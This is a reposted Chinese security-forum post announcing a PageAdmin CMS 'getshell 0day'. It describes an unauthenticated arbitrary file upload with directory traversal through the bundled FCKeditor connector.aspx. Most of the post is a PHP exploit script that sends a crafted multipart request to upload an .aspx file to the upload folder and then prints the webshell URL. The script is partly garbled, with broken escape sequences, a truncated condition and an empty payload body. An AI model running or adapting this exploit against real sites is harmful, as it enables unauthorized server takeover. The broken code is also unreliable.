PageAdmin cms getshell 0day - 脚本漏洞

admin 2021年4月3日20:08:38评论1,108 views1字数 200阅读0分40秒阅读模式

by:★黑小子★

这个程序有格fckeditor 悲剧就在这里了

不过程序他在upload.aspx里面到时验证了权限

任意上传

但是在connector.aspx这个里面就是一段

我不会.net所以完全不知道他这个代码是什么意思但是经过测试这个代码一点用处都没有!

可以任意文件上传../../任意跨目录!

上传可以本地构造test.html

然后我用php写了一个exp

以下是引用片段:

#!/usr/bin/php
error_reporting(0);
print_r('
+---------------------------------------------------------------------------+
PageAdmin cms Fckeditor Upload Vul Exploit
by:[email protected]
[email protected]   
welcome to www.90sec.org www.webvul.com   
+---------------------------------------------------------------------------+
'
);

if(count($argv)
print_r('
Usage: php '.$argv[0].' url Path
Example:
php '.$argv[0].' www.site.com path
');
   exit;
}
$url=$argv[1];
$path=$argv[2];
$token=getshell($url,$path);
if($token==null){
echo "[-] Exploit Failed n";
}else{
echo "[*] Exploit Success n";
echo "[*] Shell:http://$url/upload/$tokenn";
}

function Getshell($url,$path){
$host=$url;
$port="80";
$content ="-----------------------------1398531028480rnContent-Disposition: form-data; name="NewFile"; filename="cfking.aspx"rnContent-Type: application/octet-streamrnrnrn-----------------------------1398531028480--rn";
$data = "POST $path//master/fckeditor/editor/filemanager/connectors/aspx/connector.aspx?Command=FileUpload&Type=File&CurrentFolder=%2F..%2F..%2F..%2F..%2Fupload HTTP/1.1rn";
$data .= "Host: ".$host."rn";
$data .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.0.2) Gecko/2008091620 Firefox/3.0.2rn";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rn";
$data .= "Accept-Language: zh-cn,zh;q=0.5rn";
$data .= "Accept-Charset: gb2312,utf-8;q=0.7,*;q=0.7rn";
$data .= "Keep-Alive: 300rn";
$data .= "Connection: keep-alivern";
$data .= "Content-Type: multipart/form-data; boundary=---------------------------1398531028480rn";
$data .= "Content-Length: ".strlen($content)."rnrn";
$data .= $content."rn";
$ock=fsockopen($host,$port);
if (!$ock) {
echo "[*] No response from $host n";
die;
}
fwrite($ock,$data);
while (!feof($ock)) {
$exp .=fgets($ock, 1024);
}
preg_match("/(0,'(.*?)')/", $exp, $arr);
return $arr[2];
}

?>

文章来源于lcx.cc:PageAdmin cms getshell 0day - 脚本漏洞

相关推荐: 一邮箱跨站 讨论

"extmail 领立斯"  传送门  http://www.wooyun.org/bugs/wooyun-2012-04854 最近在测试这个东东 1. 附件名称处 a:空格过滤     执行不鸟 b:/  直接截断前面的  (不知道@unic02n) 怎么…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月3日20:08:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PageAdmin cms getshell 0day - 脚本漏洞http://cn-sec.com/archives/325731.html

发表评论

匿名网友 填写信息